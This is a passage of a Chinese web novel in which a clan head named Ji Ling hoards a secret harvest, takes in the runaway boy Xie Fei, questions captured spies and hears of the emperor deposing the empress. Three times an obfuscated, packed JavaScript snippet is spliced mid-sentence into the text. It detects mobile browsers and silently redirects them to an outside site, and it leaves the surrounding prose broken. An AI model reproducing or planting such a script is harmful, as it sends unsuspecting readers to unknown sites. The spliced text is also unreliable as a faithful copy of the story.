姬家主不愧是姬家主,真是粟邑县的大福星啊!这才来了多久,又发现一种能吃的食物!虽然这种食物还没被证实能不能吃,但他们相信姬家主,这一定能吃!
大家伙努力地挖着,一不留神竟挖出了许多!跟上次的土豆量有的一拼。
大家带着挖出的红薯回到了村里,然后根据姬昤的说法先煮了点来吃,大家一开始还不敢吃,还是姬昤率先尝了口说“好吃”大家伙才放心吃。
后来,大家根据姬瑾的安排将红薯就按照上次姬昤教的处理土豆的方法带到了还空着的田地里去种——还有些荒地才开出来没多久,一时间也没合适的粮食种下去就空着了。
姬瑾看着忙前忙后的小妹,眼神有些深沉,或许他再傻再不懂也该明白了。
时光飞逝,转眼就到了冬麦子都收完了春麦子也开始收了,天也渐渐热了起来。
姬昤惊奇地发现,她好像长高了点!
姬昤和秦良玉站一起一对比她竟然已经到了她的肩膀那么高了!
姬昤斗志昂扬,她相信,终有一天她也能长到一米七!
而这时,东北方向的夏阳县传来了求救的信号——
他们的庄稼被黄河水冲完了,如今县内一片废墟,大家房子垮了、粮食没了,希望粟邑县能帮帮他们。
姬瑾接着就得知,夏阳县不止给粟邑县递了口信,周边所有的县他们都去说了。
姬瑾看着手中的信,沉思着。
今年粟邑县能算丰收之年,岁收很多,但这也只是对比粟邑县前几年来看,若要真和那些粮食高产的地方相比是远远不够看的。加上粟邑县又来了这么多人——自从姬家来了之后,陆陆续续又来了很多流民、乞儿在这里安家——都是听说粟邑县有活路才赌一把来的,粮食差不多是够的,可要是支援他县……
够呛。
“阿兄!”姬昤不知何时走进了县令府的书房,见姬瑾没有反应,特意走到了他边上喊了声。
“嗯?”姬瑾回过神来,却见姬昤已经站到了他边上,“你说什么?”
“我还什么都没说呢!”姬昤说着瞥眼看见了姬瑾手下的那份信,她了然了,“原来阿兄是在烦心这件事,我也听说了,夏阳县遭了洪灾正在四处求援。阿兄,你也是知道的,粟邑县情况本来就不好,现在又来了更多人,自然是没多的余粮去救别人的县了。”
姬瑾轻叹口气:“我就是烦心这件事,可见死不救……”
“谁说要见死不救了?”姬昤反问,等姬瑾疑惑地看过来时她露出了一个微笑。
“姬家捐钱,让他们自己去买粮。”姬昤说道。
姬瑾一愣,然后问道:“你打算捐多少?”
“一百贯钱吧,对夏阳县来说算多,对姬家来说不痛不痒。”姬昤回答。
一百贯钱也就是十万文钱,若把一百贯钱给一个普通的五口之家用,综合起来看能用八年多,若只是用来吃更是能花二十五年。
“也好,粟邑县也帮不了夏阳县什么,若能如此那里百姓也能有个活路。”姬瑾说着又犹豫了片刻,“只是……罢了,他们应该不会有意见,毕竟脸都被打肿了。”说着他还笑了几声。
姬昤也笑了,是啊,族老们以后估计不会再有意见了,毕竟谁也不想年纪一大把的时候还被小辈打脸,还不止一次。
附近的几个县都知道一向垫底贫穷的粟邑县在此次夏阳县的求救中捐了一百贯钱,众人本以为粟邑县发达了,仔细一打听才知道原来是姬家家主姬昤捐的。
什么?姬家家主谁?姬昤?安定郡主?她什么时候成的家主?
姬昤成为姬家家主一事只在粟邑县流通,这还是姬昤有意控制的情况下,这下还有五个月左右安朝就要分崩离析了,因此姬昤决定可以慢慢放出消息了,所以大家这才知道姬昤成为了姬家新一任家主。
六月中旬,粟邑县开始收粮食了——春麦子和土豆为主。
粟邑县春麦子产量一直不高,毕竟这里以种植粟米为主,今年春麦子的产量同往年差的不多,亩产三石,也就是两百四十斤左右。
让大家惊喜的是,土豆的产量惊人得高!加在一起竟有六十五石左右!也就是五千两百斤左右!
百姓们看着丰收的粮食好些个竟然直接哭了出来。
有多久?他们已经有多久没见过粟邑有这么多粮食了?大家终于能有个吃饱饭的年过了,终于啊!
“感谢家主!感谢家主啊!”有个老人家颤颤巍巍地朝着姬昤的方向跪了下去又磕了头,热泪盈眶地喊了出来。
紧接着,就是一大批的百姓跪了下去,都对着姬昤磕头说着感谢的话。
姬昤连忙叫大家起来,一个个扶都来不及扶哗啦啦就跪倒了一大片。
“大家请听我一言!”姬昤扯着嗓子喊着,大家都安静了下来,盯着姬昤看着,期待她接下来要说的话。
接着,姬昤说道:“我知道,大家收获了粮食很高兴,觉得有饱饭吃了,但是!请大家暂时不要把这个消息传出去!我们粟邑县也只是第一次种植这种粮食,并不能确保它年年都能如此,所以暂时不要把这种希望带给别人,不然若是没有如预期那样,谁知道比人会不会来怪我们呢?我们先瞒着,等过段时日再种一次看看产量如何,可以的话再说出去让大家都吃饱饭,怎么样?”
其实,姬昤是怕别的地方的知道了来抢。
现在还好,可越到后面饥荒会越来越严重,若别的地方都没粮食唯独粟邑县有,那粟邑县怎能安定?
众人窃窃私语,最后一个站在前面的老者开口道:“家主说的是,我们都听家主的!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504878|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
接着一声声“都听家主的”响起,响起的是大家对姬昤的信任。
粟邑县的百姓们时隔多年再一次吃饱了肚子。
七月底,羌胡传出消息——羌胡大王子和二王子遇刺身亡,羌王久久找不到刺客,竟然直接病倒了!
一时间,羌胡内乱不止,羌王剩下的三个儿子为了抢夺王位大开杀戒,羌胡彻底乱了。
大安皇帝趁此机会罢免了羌王之前在益州设立的互市,还夺回了割出去的地。羌胡几位王子不愿意也没办法,他们正忙着抢夺王位,根本没心思再管那些了。可就在这个时候,皇帝竟然晋封柔夫人这个羌胡郡主为贵嫔,众人百思不得其解……
粟邑县陆陆续续又来了些人,都是别的地方活不下去的,听说好像都是来投奔亲戚的。能参军的都参了军,剩下都是老弱妇孺便安了家,平日里种种田什么的。
姬昤的军队人数又扩大了,姬昤查看过了,任务进度到了5133/10000,任务进度过半了,可剩下时间只有四个月左右了,姬昤想,她应该会在年末的时候直接宣布自立为王,趁乱把周围几个县全部占了,这样加在一起兵力就能过万了,任务也能成功。
粟邑县的人口密度大了起来,房屋越造越多,这里的烟火气也越来越浓厚。
粟邑县的变化也不是什么大秘密,除了一些让大家保持的秘密,旁的都没有刻意隐瞒过,如果有外人来到粟邑县,大家都像说好了似的,有些地方根本不让外人靠近,总有人把他们引开。
来粟邑县的人更多了,还有许多是过路的商人,不只是大安的商人,匈奴的、鲜卑的、羌胡的……异族的都有。
正因为来往人群愈发多了,商队也多了,粟邑县竟也做起了酒楼客栈的生意,不过不多,才刚开起来两家,而这两家全是姬昤开的。
姬府。
英兰苑书房。
“娘子,这是近来打听到的消息。”月栀将一份份信件放在了桌上,神色严肃。
时间也将月栀逐渐成长,如今的她和卫子夫一起替姬昤管理两家酒楼客栈,不过由月栀将从里面打探来的消息交给姬昤。
姬昤打开都看了一遍。
“不错,继续打探,他们的消息很重要,关乎着后面我们的行动。”
“娘子,方才又一人找上门来说是叫聂隐娘,我已经把她安排在客房先住下了。”月栀又道。
“聂隐娘回来了?正好,她……罢了,等一个时辰后,等她休息好了让她来见我,我有事问她。”姬昤有些欣喜,想了想说道。
一个时辰后。
书房。
“竟都是你干的,好,隐娘,你做的很好,为我解决了一个后顾之忧啊。”姬昤拉着聂隐娘的手,感激道。
她哪里想得到聂隐娘竟然这么厉害,直接把羌胡大王子和二王子全杀了,而且安然无恙地回来。
聂隐娘扯了扯嘴角让自己看起来是笑着的:“家主客气了,这都是隐娘该做的。能为家主分忧是隐娘之幸。”
“你应该都还没见过我底下其他人,日后大家都是朋友了。我让月栀把你的房间都整理出来了,你先回房再休息休息,晚些时候大家再认识一下。你一路奔波也辛苦了。”姬昤关心地说道。
“都是属下该做的。”聂隐娘说完退出了书房。
书房外,聂隐娘不禁看了眼自己的腰腹的位置,那里还有伤疤。
她这次刺杀不是没有受伤,只是她特意在外面等着伤好了才来到粟邑县回到家主身边,她想让家主肯定她的能力,也不想让家主担心。
40.谢斐
时间推移,大安的流民渐渐多了起来。姬昤在粟邑县看见百姓安居乐意好像一片欣荣,可在外的消息传来是饿殍遍地,此时的粟邑县倒显得像世外桃源。
粟邑县刚又接收了一批流民,都是逃难来的,粗略数一数都有几百人了。好在之前姬瑾让这里的百姓们造了很多房子——给他们发工钱,现在空着的房子也有人住了,只是不是白住,算他们欠着的,日后干活、种地一点点还,流民们感恩戴德,没觉得一点儿不对。
一个双眼明亮有神的流民睁大了眼睛看着周围的一切,因为个子太小,他还得挤到人群前面才能看清楚,再仔细一看,原来是个孩子!
“这就是粟邑县么……”小孩儿喃喃着,“原来这就是叔父生活的地方。”
“大家别挤,一个一个来!粟邑房子管够,但是都有要求的,方才我已经说过很多遍了,大家都挺清楚了吗?”一个穿着官服的男人扯着嗓子喊着。
小孩儿的思绪被拉了回来,他本想跑开,但一想到日后兴许还要在这长住,还是老老实实排队了。
等排到他的时候已经快到午时了,另一边有一些官差正在给他们这些新来的“流民”施粥。
“叫什么名字?原是哪儿的人?因何来粟邑?”登记造册的人一连问了三个问题。
小孩儿回答:“谢斐,建康,后到了庐陵,我是来找我叔父的。”
官差愣了下,没有着急记下这些,而是仔细打量了一番自称“谢斐”的小孩儿。
虽然这群流民里面大多都是来投靠亲戚的,这个理由太普遍了,但这个孩子说他叫谢斐,姓谢?那就不太一样了,而且还是从建康来的,那更不一样了。
“你叔父是谁?”官差又问。
一般来这投靠亲戚的他们都会问上一嘴,然后暂时把流民安置了,余下时间再去找寻他们说的“亲戚”核对情况,好确定来的流民不是在说谎。
谢斐肉眼可见地紧张了起来,半晌没说出个名字来,磕磕巴巴的,官差就听到他说了个“谢”字。
官差一眯眼,一拍桌:“老实交代,你到底是来干嘛的?!”
此话一出,几乎所有目光都聚集在了谢斐身上,谢斐更紧张了。
官差站了起来,手放在了腰间的刀上,他紧紧盯着谢斐,仿佛要把他灼出一个洞来。
“我我我,我没说谎,我就是来找我叔父的!我叔父他,他,他是……”谢斐一时间竟不知道该不该说出这个名字。
“他是谁?”官差步步紧逼。
谢斐似下定决心般,闭眼喊出了那个名字——
“谢渊!”
“啊?”一个男人回过头看向谢斐的方向,他的手里还拿着新鲜出炉的烧鸡。
他听闻这里的烧鸡最美味,特意自己来瞧瞧,一见果然,当即就买了两只准备带回去吃,结果就听见有人喊他的名字。
没错,买了两只烧鸡的正是谢渊。
流民们本来排着队伍,都往旁边站了点,露出了最前方的谢斐和那个就快贴到谢斐身上的官差。
官差张大了嘴巴,手也松开了刀柄。
谢谢谢谢渊?这小孩儿说他叔父是谁?谢渊?
谢斐在看到谢渊的那一刻眼睛都亮了许多,脸上洋溢着大大的笑容,他欣喜地喊道:“叔父!”
谢渊愣在原地半天,他盯着向他跑来的谢斐,想了半天这小子是谁。
“你是何人?”谢渊问。
谢斐扬起的嘴角和张开的双臂一下子落了下去,他站在谢渊面前,抬头可怜兮兮地望着他。
“叔父……”
“你为何叫我叔父?我认识你吗?”谢渊一脸疑惑。
那官差脑筋一转,谢先生不认识这个小孩儿?
他当即跑了过去:“谢先生,这小孩儿是刚来粟邑的流民,我问他为何来此,他说来找他的叔父,我便问他的叔父是谁,他就说是先生您。”
官差简单解释了一下。
换做从前他可不会这样对谢渊恭敬,但也不至于嫌恶,只是会害怕,毕竟谢渊凶名在外,人人都说他是冷面无心的畜生,竟能一夜之间屠杀那么多亲人,可谢渊在这里待得久了,还教孩子们读书且从来不收束脩,久而久之大家也就和谢渊慢慢亲近起来,慢慢发现他根本不像传闻那般可恶,想来都是谢家人污蔑他的!
谢渊仔细盯着谢斐瞧了瞧:“看你长得倒是像谢家人,你是……谢成的儿子?”
谢斐连连点头:“叔父,您终于认出我了!”
官差又一愣,这是认识了?到底是认识还是不认识啊?
“你先去忙吧,他交给我。”谢渊对官差说道。
“喏,麻烦先生了。”官差应道,然后回到了自己的位置继续记录下一个流民的信息。
谢渊又低头看向还不到他屁股高的谢斐,语气不算友好:“你为何会在此?谢家没了?你成了孤儿?”
谢斐毫不在意,他摇了摇头:“叔父,我是逃出来的。叔父,以后我就跟着您吧!”说罢一把抱住了谢渊的腰。
谢渊:“松开。”
谢斐见谢渊神色冰冷,语气也是冷嗖嗖的,害怕地松开了他。
谢渊转身就走,走了一会儿又回过头:“还不跟上?让我请你走?”
谢斐一下子抬起头:“来了来了!”说着小跑跟了上去。
谢渊还递了只烧鸡过去:“拿好了,掉了我就把你扔出粟邑。”
谢斐脑袋点得跟小鸡啄米似的。
谢渊还是把谢斐带到了姬府他住的院子。
谢渊的贴身小厮在见到谢斐的那一刻眼神飞速地在谢渊、谢斐二人身上流转,他虎躯一震,颤抖着嗓音,说道:“先生,这,这,这,您竟有私生子?!”
谢渊恨不得把小厮一巴掌拍飞出去,但他忍住了。
“谢斐,谢成的小儿子。”谢渊说着白了眼小厮,然后走向自己的书房,还回头看了眼谢斐,让他跟上。
谢斐迈开他的小短腿赶紧跟上。
小厮看着谢斐的背影和关上的房门思索着,谢成?是谢家的谁来着?
小厮想了半天终于想起来了,那不是谢家现如今的家主吗?!他的小儿子怎么不远万里跑到粟邑来了?谢家不是跟着庐陵王去了庐陵吗?
书房内。
谢渊坐下了,谢斐跟着进来后就傻傻地站着,两只手紧紧捏着衣摆。
“还要我请你坐?”谢渊语气微冷。
“不用不用,我自己坐。”谢斐跑到一个椅子前赶紧坐下,两只手乖乖地放在腿上,模样乖巧,如果忽略他脏脏的脸的话。
“谢家竟已养不起一稚子了么?至于让你这么远跑来找我?找我作甚?不怕我也杀了你?你阿耶没跟你说过我谢渊杀了谢家多少人么?”谢渊说罢冷笑了声。
“叔父,我知道您不是那样的人,那些传闻都是假的!”谢斐神色肯定,接着又垂眸叹了口气,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511145|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“谢家就是个吃人的魔窟,我今年九岁,却已知晓这个事实六年,我实在是在谢家待不下去了,我不想与那些疯子称兄道弟、相亲相爱,有一天我忽然想起了叔父您,我想,也许我可以来投奔叔父……”
谢渊却眯起了眼:“谢斐,我知道你,谢家新一代天之骄子,你如今的名声可比我当年还要盛,谢家当是护你如珍如宝的。”言外之意就是——你在说谎。
谢斐猛地抬起头,连连摇头:“叔父您信我,我没有骗您!我是真的在谢家待不下去了!”
“哦?”谢渊还是不信。
谢斐见状,咬了咬唇肉,思索了半天才缓缓开口道:“叔父,当年的真相我都知道了……”
谢渊搭在扶手上的手猛地收紧。
谢斐接着说道:“那些人犯下如此泯灭人性的罪恶,死已经是便宜他们了,不是叔父的错。至于我为何要逃出来……谢家那些人都无药可救了,人人都磕五石散,都像是疯了一样,我实在是受不了了。叔父您说的没错,谢家确实待我如珍如宝,可那仅是因为我是谢家这么多年出过的唯一一个可以媲美叔父您的人,他们待我好也只是想让叔父您知道谢家离了您也没什么的,他们根本不在乎我是怎么想的,只是一味地说着为我好让我学这个学那个,人人都告诉我我一定要超过您。”
谢斐看向窗外,思绪逐渐飘远,稚嫩的话语还在响起——
“我阿母是书香门第的娘子,后被抄家发卖成了青楼女子,之后被我阿耶看中买回了府,再之后就有了我。阿耶本不喜我,只因我是被青楼妓子生下的,一连三年,我见过阿耶的次数屈指可数。我记事早,在我的印象里,阿母是个端庄秀美的才女,她声音温柔,给我讲故事的时候更温柔了,我很喜欢阿母,可是……”
“阿耶将我阿母买回府后只去过阿母的院子两次,一次有了我,一次生了我。阿母本是被抄家后沦落风尘,手里本就没有钱,加上我阿耶也不怎喜爱我阿母,买我阿母回府也只是一时兴起,府中下人便苛待阿母和我,阿母后来实在是没法子,本想去变卖一些首饰换钱,结果半路被谢家几个磕了五石散的叔父兄长们拖走了,后来……”
“阿母她自缢了。”
“我推开门的那一刻,阿母披头散发,衣服也是凌乱的,阿母的身子直直地吊着,舌头伸得长长的可怕极了,地上还落着那些本来要被变卖的首饰,那些首饰我记得,阿母说那是她阿耶阿母留给她最后的念想了,阿母总是将那些首饰拿出来翻来覆去地摩挲。可是,阿母她也是我的念想。”
“我第一次主动去找阿耶,告诉了阿耶这些事,阿耶却打了我,他说我不该管这些,一个女人死了便死了。”
“我没有哭闹,只是回到了我的小院子里把阿母的尸身埋了,连带着那些碎了的首饰。”
“自那以后,我发奋读书,府中先生日日夸赞我,阿耶也终于看见我了。”
“再之后……”
“我就成了谢家人引以为傲的‘谢斐’。在那之前,我甚至没有名字。”
谢斐缓缓说完了一切,再看向谢渊时已满脸都是泪水。
“叔父,谢家完了,我不想变成疯子、畜生,我想当人。”
谢渊抓着扶手的手松了又紧,紧了又松,他看着满面泪水的谢斐,不知怎的,又想起了他的幼子,如果他还活着的话应当比谢斐这小子要大几岁。
这小子竟然长得有几分像他的幼子。
罢了。
41.掉脑袋的事
姬昤左看看右看看,看清了谢斐的模样,脏兮兮时的谢斐就已经与谢渊有些相像了,洗干净了的谢斐与谢渊更像了。
“这小子日后怕是要在这儿长住,家主,是我的过错,没有先问过你就把人带进府了,他的去留由你来定吧。”谢渊说道。
“一个稚子而已,既是先生的侄子,那便住下吧。”姬昤摆了摆手并不在意,然后看向谢斐,“你说你是谢成的儿子,谢家如今的家主?”
谢斐乖巧点头,然后说道:“说来我和郡主您之间还是有些渊源的。”
“喊我家主即可。渊源?什么渊源?说来听听。”姬昤。
“我的二嫂嫂便是家主的旁支阿姊姬莲。”谢斐回答。
姬昤了然:“哦,那谢二郎君是你的同父兄长?姬莲她在谢家过得如何?”
她想起上次姬莲当街向她求救,后来她也去帮忙问了五叔母,结果五叔五叔母都是知晓姬莲受的苦的,后来姬莲如何她就不知道了。
谢斐叹了口气:“不如何。我那二兄是个性子古怪表里不一的人,平日里瞧着和二嫂嫂夫妻恩爱琴瑟和鸣,可我分明看见二嫂嫂看他的眼神是害怕的,还有二嫂嫂手臂上的伤,我是无意间瞧见的。二嫂嫂她在谢家过得一点都不好。”
接着,谢斐又问:“家主,二嫂嫂出嫁前是什么样的人?”
姬昤也替姬莲叹了口气,然后回答:“活泼,有些骄纵,有心眼子却不多,嗯……还有点蠢。”
谢斐有些惊讶:“原是这样的吗?可我看见的二嫂嫂寡言少语,也不大爱笑,性子又沉闷。而且二嫂嫂还给我送过吃的,她说我们都是可怜人。”
“时光是会改变一个人的,她在那样的环境生活着,迟早会变的。”姬昤感慨道。
“二嫂嫂她不快乐,我从她的眼里看出来了,她想死。”谢斐眼眶湿润。
或许他的二嫂嫂从前做过坏事,可从未对他做过什么坏事,反而对他很好,既如此,二嫂嫂在他眼里就是好人。
“我这次能成功逃出来也是二嫂嫂帮我的,她……此时也不知如何了,我怕她会被二兄打。”谢斐接着说道,眼里满是担忧。
“你那二兄……”姬昤抿了抿嘴唇,又开口道,“上次见他我就不喜他,那双眼睛太过阴冷,像是盘踞在深林里的毒蛇,随时会冲出来咬你一口。”
谢斐赞同地点了点头,然后说道:“姬家主,其实二嫂嫂让我帮你带话了。”
“她让你带话与我?”姬昤有些惊讶。
谢斐点头,缓缓说道:“二嫂嫂说,其实她从小到大都很羡慕你,羡慕你恣意洒脱,羡慕你有真正爱你的父母和兄长,所以她才一直针对你,好像赢了你一点就赢了全部一样。她还说,其实那次见到你之前她的心里就已经有答案了,却还是不死心地想让你去问问她的阿耶阿母,她说她错了。二嫂嫂她还说……希望下次见到你你会比从前更加耀眼。”
姬昤张了张嘴,一时间竟不知该说些什么。
姬莲原来是这样想的吗?
姬昤沉默了许久,然后才开口问道:“谢家知道你跑出来了吗?可别到时候来我这儿要人了。”
“姬家主您放心,谢家根本不知道我要逃,更不会知道我逃到了哪儿的。”谢斐回答。
“你先安心住下吧。”姬昤说着起身离开了谢渊的院子。
回英兰苑的路上,姬昤轻声吩咐道:“找人盯着谢斐,一举一动都要向我禀报。”
“喏。”月栀应道。
麦子、土豆什么的都渐渐收了,产量不错,粟邑县的百姓们很高兴。
渐渐的,红薯也收了,又是大丰收。
入秋了,叶子逐渐黄了,也落了,天也渐渐冷了。
姬昤让月栀安排去监视谢斐的人都撤了,因为谢斐并没有问题,他说的是实话。
粟邑县一片祥和宁静,好似世外桃源,可姬昤知道,外边越来越乱了。
十月初三,建康宫中传出消息,皇帝病了,突如其来的病。
没隔多久,宫中又传出消息,帝后不和,皇帝似乎要废后了,朝中和民间都十分愤怒,毕竟皇后的名声极好,是一代贤后。一时间,几位王爷背后的家族蠢蠢欲动,朝堂不稳,明枪暗箭防不胜防,朝中官员都换了一批又一批。
姬府。
英兰苑,书房。
“二兄那怎么说?”姬昤批着一件薄袄子坐在书案前,询问道。
月栀站在一边,看着已经越发稳重了。
“二郎君说他一切准备就绪,就待家主一声令下了。”
姬昤抬起头看向月栀,神色严肃:“月栀,你怕吗?你主子我要做的可是掉脑袋的事。”
月栀连忙摇头:“月栀不怕!家主说什么都是对的,做什么都是对的!月栀永远追随家主!”
姬昤笑了,牵过月栀的手轻轻捏了捏:“你可知我二兄在泾川县这一年有不少人往他府上塞人,也有好些人替他说媒,他全回绝了?”
月栀愣了下,接着有些不自在地说道:“我怎么会知道这些?”
“月栀,待事成之后,你们成婚吧,如何?”姬昤笑眯眯的。
月栀红了脸,一下子抽回了自己的手:“家主莫要打趣我了,这,这都哪儿跟哪儿啊。”
姬昤笑得大声,月栀的脸更红了。
“好月栀,我是说真的,你跟了我这么多年,我早就看出来你喜欢我二兄了,我二兄也喜欢你啊!既如此,两情相悦为何不能在一起?月栀你莫要担心旁的,你同我二兄简直是天造地设的一对!”姬昤又拉住了月栀的手,兴奋地说道。
可月栀的眼神却有些落寞:“家主,我……我只是个婢女,家中世世代代都是奴婢,我怎能同二郎君成婚?顶多,顶多也只能给二郎君做个妾室……”
“他敢!”姬昤当即说道,“不说我二兄舍不舍得让你做妾室,就说我,有我在一日,就没人敢让你月栀做妾室!”
月栀感动地看着姬昤,眼泪花花地又要哭了,这下子倒是没有平日里的稳重像是从前的小月栀了。
“月栀你放心,你是我阿耶阿母看着长大的,跟半个女儿似的,若你嫁给我二兄他们反倒高兴呢!”姬昤又道。
月栀终于笑了,她抽回手擦了擦要掉下来的眼泪,说道:“家主莫说这些了,这些事日后再说吧,我们现在可是在说正事的。”
“你与我二兄的婚事也是正事啊!”姬昤一脸认真。
“家主!”月栀佯装生气。
“好了好了,不说了不说了,说正事。”姬昤连忙说道,然后问,“近来消息搜集得如何?子夫日日待在那里都不回来,实在是太辛苦了,你回头说说她,就说是我说的。”
月栀点头,然后回答:“如家主所料,那些个王爷各个都不安分,而且各个兵力都要比家主多呢,咱们也得抓紧了!”
“是吗?”姬昤喃喃了一句,然后调出自己的任务进度——
5762/10000。
还差一大半呢。
姬昤瞥到了桌上放着的信件,有一封是霍去病写来的,她还没看。
姬昤拆开一看,不禁露出了放肆的笑容。
霍去病在信中写到,他已经暗地里笼络了一批兵马,不过这批兵并不知他背后是谁,只当是他想要那个位置。这批兵马虽不多,但也能发挥他们的作用。
姬昤更加确信系统给她的任务只能成功不许失败了,否则,她得失去多少得力干将啊!
太阳高高挂起,粟邑县的百姓们种地的种地,卖东西的卖东西,造房子的造房子,大家都在忙活自己的事。
粟邑县里又开了片荒地,这里的新房子正在慢慢造起来,大家忙碌着,汗水挥洒浸湿了泥土。
两个正在堆砌墙体的男人对视了眼,擦了擦汗,不知不觉中走到了一起。
“怎么样?有什么结果吗?”一个男人小心地张望了番,接着轻声说道。
“姬府防卫森严,根本进不去。”另一个男人也小心地回答着,手上砌墙的动作不停,就怕被人发现了。
“县令府也是,上次我都摸到门口了,硬是被赶走了。”男人有些愤恨。
“但是你看看这里,一看就知道那姬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517314|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昤有谋逆之心,我们得趁早回去告诉主子。”另一个说道。
突然,墙体对面站起来一个人,两个男人吓得一哆嗦。
对面的人奇怪地看了眼两人:“你俩干啥?早点把房子造起来早点有房子住!磨磨唧唧的发什么呆呢?”
“哦,对,刚才想事情呢,现在就继续。”男人咽了咽口水,眼神有些飘忽。
另一个男人不禁问道:“你刚才听见说什么了吗?”
“啥?”墙对面的人不禁掏了掏耳朵,“你们说啥了吗?”
两人连连摇头,一个说道:“没说啥呢。”
只见对面的人叹了口气,自顾自地大声说道:“唉,早些年我伤了耳朵,认识我的人都知道跟我说话要大声些,不然我听不见。唉,也就是那年……唉……好好的婚事都黄了……唉……”
对面的人不知道叹了多少口气,但两个男人是放心了,权当听不见他叹气。
夕阳西下,大家停止了劳作,没家的回到了官府暂时提供的住处,有家的自然是回了家,只是有一人,他悄咪咪地跑到了姬府门前。
憨厚的男人走上前对两名阍侍说道:“还请两位通传一声,草民有要事要禀告家主!”
两名阍侍对视了眼,其中一人说道:“稍等。”接着便进了府中。
不多片刻,憨厚男人被请进了姬府。
厅堂。
姬昤看着面前的男人,问道:“你有何要事需禀报?”
憨厚男人将自己听到的一切都说给了姬昤听。
这男人正是说自己早年伤了耳朵的人。
姬昤垂眸:“嗯,知道了,我会派人去查的。你做得很好。”
姬昤话音刚落,月栀走上前,将一个小布袋子递给了憨厚男人。
憨厚男人连连摆手:“不能要不能要,草民不是为了钱来的,草民只是觉得这些人见不得家主好,那就是坏人,这都是草民该做的!”
姬昤却道:“你做了件好事,自然该有回报。你放心拿着吧,钱不多,你可以拿回去补贴家用。”
憨厚男人这才犹豫地接下了布袋:“多谢家主。”
夜晚,牢中。
姬昤看着架子上绑着的两个已经浑身是伤的男人面色如常。
“不肯说?没关系,你们背后是谁并不重要,自我走上这条路起,所有要与我争的人都是我的敌人。”
其中一人费力地抬起头看向姬昤,然后朝她的方向吐了口唾沫。
妇好当即上前给了他一巴掌。
习武之人的一巴掌可不好受,男人被打得头晕眼花,两眼直冒金星。
男人缓缓转过脑袋,大骂道:“不过一介女子,还妄想那个位置?真是大逆不道、毫无廉耻!你枉为女子!女子就该待在家中相夫教子,你就是一个败类!”
妇好反手又给了他一巴掌,这下差点把他打晕过去。
姬昤微微一笑,并不在意他的辱骂。
另一个男人也骂道:“姬昤,你想要那个位置?真是痴人说梦!天下共主的位置再怎么着也不会落到女人手里,你别痴心妄想了!”
妇好又想一巴掌过去,姬昤一个抬手,妇好止住了。
姬昤走到两人面前,看着他们身上的血液一点一点滴在地上与漆黑的地面融为一体,她说:
“你们都觉得女子不可成大事是么?那好,我偏要告诉你们,这条路最后的胜者只有我,也只能是我。”
离开牢房的阶梯有点长,姬昤选择听不见后面传来的惨叫声,淡然地问道:“这两个是这个月第几个了?”
妇好回答:“刚好二十个整。”
姬昤嗤笑了声:“十月都还没到二十日,就已经有二十个混进来的细作了,看来他们开始发现我了。”
“家主放心,这位置无论如何我们都会帮你拿到的。”妇好说道。
“我自然放心,有你们在,我怎能不放心?”姬昤对妇好笑了笑,语气中满是信任。
牢房外,姬昤看着粲然的星空,感慨道:“快到在粟邑的第二个年了,这次注定不会过个好年咯。”
42.雍王
月栀小跑进院子,至书房外时及时停下脚步敲响了房门。
“何事?”姬昤的声音传了出来。
“家主,罗则的消息。”月栀淡定说道。
“进。”
姬昤看着面前的月栀,有些不敢相信刚才听到的话。
“你说什么?皇后被废?江夏王被贬成辽西王了?”
月栀连连点头,她也有些不敢相信这个消息,但这就是罗则的弟弟从宫中传出来的消息,如今罗则的弟弟可是皇帝身边最得宠的宦官,宫中几乎人人都要给他面子。
“朝中官员都如何表态的?”姬昤又问。
月栀回答:“据消息,皇帝病得更重了,也,竟也更疯了!不仅整日里带着柔夫人白日宣淫,还扬言要在大安修建九十九座佛寺,特地还为此加高了赋税,百姓们苦不堪言!大臣们也纷纷上书,可全都被皇帝驳回,后皇后知晓此事便去劝说皇帝,不曾想二人起了争执,皇帝推了皇后,皇后冠落发散,额上还有血迹,再之后皇后叱骂皇帝昏庸,皇帝就……就下了废后诏书,也一同贬江夏王为辽西王。而且……皇帝他……”
月栀有些犹豫。
“他怎么了?他又做了什么疯事?”姬昤追问。
“皇帝他竟想封柔夫人为新任皇后!”月栀说着有些气愤。
“什么?!”姬昤大惊。
封柯柔云为新后?她可是异族人!多少年来,历代皇朝哪怕更迭都有一致不曾改变的默许的规则——异族女绝不可为后,其子嗣更不能袭位。
狗皇帝真疯了?
“朝中大臣们纷纷阻止皇帝,可皇帝就是不听,觉得所有人都在跟他对着干,是在挑衅他这个皇帝,是在觊觎他的皇位。尚书令他……竟然当场撞柱而亡,扬言‘大安亡矣’!皇帝很是愤怒,当即下旨夷了尚书令三族!”月栀又道。
